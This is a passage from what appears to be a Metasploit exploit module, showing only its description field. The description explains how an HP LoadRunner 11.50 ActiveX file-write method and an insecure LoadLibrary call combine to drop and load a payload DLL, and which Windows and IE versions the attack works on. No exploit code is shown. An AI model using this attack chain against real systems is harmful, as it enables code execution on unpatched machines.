'Description' => %q{  
This module exploits a vulnerability on the lrFileIOService ActiveX, as installed  
with HP LoadRunner 11.50. The vulnerability exists in the WriteFileString method,  
which allow the user to write arbitrary files. It's abused to drop a payload  
embedded in a dll, which is later loaded through the Init() method from the  
lrMdrvService control, by abusing an insecure LoadLibrary call. This module has  
been tested successfully on IE8 on Windows XP. Virtualization based on the Low  
Integrity Process, on Windows Vista and 7, will stop this module because the DLL  
will be dropped to a virtualized folder, which isn't used by LoadLibrary.
